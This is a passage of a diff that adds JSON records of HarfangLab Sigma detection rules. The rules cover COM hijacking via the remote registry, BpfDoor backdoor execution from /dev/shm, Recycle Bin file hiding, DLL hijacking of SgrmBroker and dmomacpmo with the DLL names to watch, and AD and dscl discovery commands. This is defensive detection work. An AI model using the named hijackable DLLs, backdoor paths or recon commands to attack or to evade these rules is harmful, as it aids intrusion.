+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085652Z",
+  "creation_date": "2026-03-23T11:45:34.085654Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085658Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.r-tec.net/r-tec-blog-revisiting-cross-session-activation-attacks.html",
+    "https://attack.mitre.org/techniques/T1546/015/"
+  ],
+  "name": "t1546_015_com_hijacking_remote_registry.yml",
+  "content": "title: COM Hijacking via Remote Registry\nid: 386d04d2-1f3a-463b-a003-5ef7c4109f79\ndescription: |\n    Detects the modification of the registry key related to a COM interface configuration by the remote registry process.\n    Adversaries may use COM hijacking in order to execute comment in the context of a logged on user remotely.\n    It is recommended to check the content of the targeted DLL for malicious content as well as to look for suspicious processes spawning after this alert as a result of a successful COM hijack.\nreferences:\n    - https://www.r-tec.net/r-tec-blog-revisiting-cross-session-activation-attacks.html\n    - https://attack.mitre.org/techniques/T1546/015/\ndate: 2025/07/10\nmodified: 2025/08/20\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1546.015\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains: '\\Classes\\CLSID\\{????????-????-????-????-????????????}\\'\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k localService -p -s RemoteRegistry'\n            - '?:\\Windows\\system32\\svchost.exe -k LocalService'\n            - '?:\\Windows\\system32\\svchost.exe -k regsvc'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "386d04d2-1f3a-463b-a003-5ef7c4109f79",
+  "rule_name": "COM Hijacking via Remote Registry",
+  "rule_description": "Detects the modification of the registry key related to a COM interface configuration by the remote registry process.\nAdversaries may use COM hijacking in order to execute comment in the context of a logged on user remotely.\nIt is recommended to check the content of the targeted DLL for malicious content as well as to look for suspicious processes spawning after this alert as a result of a successful COM hijack.\n",
+  "rule_creation_date": "2025-07-10",
+  "rule_modified_date": "2025-08-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.015"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3894297f-12bc-492b-b25b-554856e8df30",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088159Z",
+  "creation_date": "2026-03-23T11:45:34.088161Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088165Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor",
+    "https://dfir.ch/posts/strace/",
+    "https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor",
+    "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/",
+    "https://attack.mitre.org/techniques/T1559/"
+  ],
+  "name": "t1559_bpfdoor_suspicious_file_creation.yml",
+  "content": "title: Suspicious Execution Related to BpfDoor\nid: 3894297f-12bc-492b-b25b-554856e8df30\ndescription: |\n    Detects the execution of files with names linked to the BpfDoor backdoor.\n    BpfDoor is a remote access trojan (RAT) used by the Red Menshen threat actor to target Linux systems since at least 2018.\n    This file is executed by BpfDoor as part of its initialization process.\n    It is recommended to analyze the process responsible for creating this file and to look for other suspicious activities on the host.\nreferences:\n    - https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor\n    - https://dfir.ch/posts/strace/\n    - https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor\n    - https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2024/02/02\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1559\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Malware.BpfDoor\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        - Image: '/dev/shm/kdmtmpflush'\n        - CommandLine|contains: '/dev/shm/kdmtmpflush'\n\n    # seen launched by ssh and child of nessusd\n    exclusion_nessus:\n        CommandLine:\n            - '*/bin/ls -alR /proc/*/exe 2> /dev/null | grep \"/dev/shm/kdmtmpflush (deleted)\"*'\n            - 'grep /dev/shm/kdmtmpflush (deleted)'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3894297f-12bc-492b-b25b-554856e8df30",
+  "rule_name": "Suspicious Execution Related to BpfDoor",
+  "rule_description": "Detects the execution of files with names linked to the BpfDoor backdoor.\nBpfDoor is a remote access trojan (RAT) used by the Red Menshen threat actor to target Linux systems since at least 2018.\nThis file is executed by BpfDoor as part of its initialization process.\nIt is recommended to analyze the process responsible for creating this file and to look for other suspicious activities on the host.\n",
+  "rule_creation_date": "2024-02-02",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3899410e-4d11-427a-b57d-07ca42d4c51f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084966Z",
+  "creation_date": "2026-03-23T11:45:34.084968Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084972Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1564_001_suspicious_file_into_recycle_bin.yml",
+  "content": "title: Suspicious File Created inside Recycle Bin folder\nid: 3899410e-4d11-427a-b57d-07ca42d4c51f\ndescription: |\n    Detects a suspicious attempt to create files into the Recycle Bin folder.\n    This folder can be used by attackers to hide their files from regular users.\n    It is recommended to check the created file for suspicious content as well as to analyze the process at the origin of this creation for other suspicious behavior.\nreferences:\n    - https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2021/08/06\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|startswith: '?:\\\\?Recycle.Bin\\\\*'\n\n    exclusion_legitimatefiles:\n        Path:\n            - '?:\\\\?Recycle.Bin\\S-1-5-18'\n            - '?:\\\\?Recycle.Bin\\S-1-*-???'\n            - '?:\\\\?Recycle.Bin\\S-1-*-????'\n            - '?:\\\\?Recycle.Bin\\S-1-*-?????'\n            - '?:\\\\?Recycle.Bin\\S-1-*-??????'\n            - '?:\\\\?Recycle.Bin\\S-1-*-???????'\n            - '?:\\\\?Recycle.Bin\\S-1-*-????????'\n            - '?:\\\\?Recycle.Bin\\S-1-*-?????????'\n            - '?:\\\\?Recycle.Bin\\S-1-*-??????????'\n            - '?:\\\\?Recycle.Bin\\S-1*\\\\?R*'\n            - '?:\\\\?Recycle.Bin\\S-1*\\\\?I*'\n            - '?:\\\\?Recycle.Bin\\\\?R*'\n            - '?:\\\\?Recycle.Bin\\\\?I*'\n\n    exclusion_ahnlab:\n        Image: '?:\\Program Files\\AhnLab\\Safe Transaction\\ASDSvc.exe'\n        #ProcessParentImage|endswith: '\\services.exe'\n\n    exclusion_desktop:\n        Path:\n            - '?:\\\\?Recycle.Bin\\S-1-*\\desktop.ini'\n            - '?:\\\\?Recycle.Bin\\desktop.ini'\n\n    exclusion_bromium:\n        Image:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\chrome.exe'\n        Path: '*\\~BROMIUM' # HP Bromium\n\n    exclusion_office:\n        # C:\\$Recycle.Bin\\S-1-5-21-802770577-1178448740-...\\~$$R8V0GFK.xlsb\n        # C:\\$Recycle.Bin\\S-1-5-21-802770577-1178448740-...\\~$$RQZH0TL.xlsb\n        Image:\n            - '?:\\Program Files\\Microsoft Office\\Office1?\\EXCEL.EXE'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office1?\\EXCEL.EXE'\n            - '?:\\Program Files (x86)\\Microsoft Office\\Office1?\\EXCEL.EXE'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office1?\\EXCEL.EXE'\n            - '?:\\Program Files\\Microsoft Office\\Office1?\\WINWORD.EXE'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office1?\\WINWORD.EXE'\n            - '?:\\Program Files (x86)\\Microsoft Office\\Office1?\\WINWORD.EXE'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office1?\\WINWORD.EXE'\n            - '?:\\Program Files\\Microsoft Office\\Office1?\\POWERPNT.EXE'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office1?\\POWERPNT.EXE'\n            - '?:\\Program Files (x86)\\Microsoft Office\\Office1?\\POWERPNT.EXE'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office1?\\POWERPNT.EXE'\n        Path:\n            - '*\\~$$???????.xlsb'\n            - '*\\~$??????.odt'\n            - '*\\~$$???????.pptx'\n\n    exclusion_symantec:\n        ProcessOriginalFileName: 'ccSvcHst.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Symantec Corporation'\n\n    exclusion_rm:\n        ProcessImage|endswith: '\\bin\\rm.exe'\n\n    exclusion_rsync:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\cwRsync\\bin\\rsync.exe'\n            - '?:\\Program Files (x86)\\ICW\\Bin\\rsync.exe'\n            - '?:\\cygwin\\bin\\rsync.exe'\n            - '?:\\cygwin64\\bin\\rsync.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3899410e-4d11-427a-b57d-07ca42d4c51f",
+  "rule_name": "Suspicious File Created inside Recycle Bin folder",
+  "rule_description": "Detects a suspicious attempt to create files into the Recycle Bin folder.\nThis folder can be used by attackers to hide their files from regular users.\nIt is recommended to check the created file for suspicious content as well as to analyze the process at the origin of this creation for other suspicious behavior.\n",
+  "rule_creation_date": "2021-08-06",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "38af1190-9bbe-40bc-8df7-d4fb515ccd0e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090689Z",
+  "creation_date": "2026-03-23T11:45:34.090691Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090696Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sgrmbroker.yml",
+  "content": "title: DLL Hijacking via SgrmBroker.exe\nid: 38af1190-9bbe-40bc-8df7-d4fb515ccd0e\ndescription: |\n    Detects potential Windows DLL Hijacking via SgrmBroker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'SgrmBroker.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ncrypt.dll'\n            - '\\tbs.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "38af1190-9bbe-40bc-8df7-d4fb515ccd0e",
+  "rule_name": "DLL Hijacking via SgrmBroker.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via SgrmBroker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "39035abb-812f-4e80-93a0-a5b682e2caa4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619038Z",
+  "creation_date": "2026-03-23T11:45:34.619039Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619044Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dmomacpmo.yml",
+  "content": "title: DLL Hijacking via dmomacpmo.exe\nid: 39035abb-812f-4e80-93a0-a5b682e2caa4\ndescription: |\n    Detects potential Windows DLL Hijacking via dmomacpmo.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dmomacpmo.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\DMCmnUtils.dll'\n            - '\\dmEnrollEngine.DLL'\n            - '\\DMProcessXMLFiltered.dll'\n            - '\\dsclient.dll'\n            - '\\iri.dll'\n            - '\\msvcp110_win.dll'\n            - '\\omadmapi.dll'\n            - '\\USERENV.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "39035abb-812f-4e80-93a0-a5b682e2caa4",
+  "rule_name": "DLL Hijacking via dmomacpmo.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dmomacpmo.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "391f70f4-692c-4114-b801-554f1d003a62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083272Z",
+  "creation_date": "2026-03-23T11:45:34.083274Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083279Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://ericazelic.medium.com/ldap-queries-for-offensive-and-defensive-operations-4b035b816814",
+    "https://blog.talosintelligence.com/emerging-interlock-ransomware/",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_domain_computer_discovered_powershell.yml",
+  "content": "title: Domain Computer Discovered via PowerShell\nid: 391f70f4-692c-4114-b801-554f1d003a62\ndescription: |\n    Detects the use of PowerShell to enumerate Active Directory computer objects.\n    This may indicate reconnaissance activity aimed at identifying systems with specific roles, locations, or functions.\n    It is recommended to analyze the parent process as well as other commands executed in the same PowerShell session to look for malicious content or actions.\nreferences:\n    - https://ericazelic.medium.com/ldap-queries-for-offensive-and-defensive-operations-4b035b816814\n    - https://blog.talosintelligence.com/emerging-interlock-ransomware/\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2025/07/09\nmodified: 2025/08/06\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - '[adsisearcher]'\n            - 'objectCategory=computer'\n            - '.PropertiesToLoad.Add('\n            - '.findAll()'\n\n    filter_script:\n        PowershellScriptPath|contains: '?'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "391f70f4-692c-4114-b801-554f1d003a62",
+  "rule_name": "Domain Computer Discovered via PowerShell",
+  "rule_description": "Detects the use of PowerShell to enumerate Active Directory computer objects.\nThis may indicate reconnaissance activity aimed at identifying systems with specific roles, locations, or functions.\nIt is recommended to analyze the parent process as well as other commands executed in the same PowerShell session to look for malicious content or actions.\n",
+  "rule_creation_date": "2025-07-09",
+  "rule_modified_date": "2025-08-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "394e4403-48b4-4304-8127-3fc432fe70aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294301Z",
+  "creation_date": "2026-03-23T11:45:35.294305Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294312Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1087/001/",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1087_001_dscl_readall_users_macos.yml",
+  "content": "title: Users Properties Discovered via Dscl\nid: 394e4403-48b4-4304-8127-3fc432fe70aa\ndescription: |\n    Detects the execution of the dscl command to list all users and their properties.\n    Attackers may use it during the discovery phase of an attack to retrieve a list of users and their properties, such as their Apple ID, which groups they belong to, and their User IDs.\n    It is recommended to check for other suspicious activity by the parent process.\nreferences:\n    - https://attack.mitre.org/techniques/T1087/001/\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2022/12/01\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.001\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Dscl\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        # dscl . -readall users\n        # dscl . -readall /Users\n        # dscl . -readall /Users some_property\n        Image: '/usr/bin/dscl'\n        CommandLine|contains|all:\n            - 'readall '\n            - 'users'\n        ParentImage|contains: '?'\n\n    exclusion_jamf:\n        ParentImage:\n            - '/usr/local/jamf/bin/jamf'\n            - '/library/privilegedhelpertools/com.jamfsoftware.composer.helper'\n\n    exclusion_munki:\n        - Ancestors|contains: '/Library/MunkiReport/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python'\n        - ParentCommandLine|contains: '/usr/local/munkireport/scripts/'\n\n    exclusion_mosyle:\n        Ancestors|contains: '|/Library/Application Support/Mosyle/MosyleMDM.app/Contents/MacOS/MosyleMDM|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "394e4403-48b4-4304-8127-3fc432fe70aa",
+  "rule_name": "Users Properties Discovered via Dscl",
+  "rule_description": "Detects the execution of the dscl command to list all users and their properties.\nAttackers may use it during the discovery phase of an attack to retrieve a list of users and their properties, such as their Apple ID, which groups they belong to, and their User IDs.\nIt is recommended to check for other suspicious activity by the parent process.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
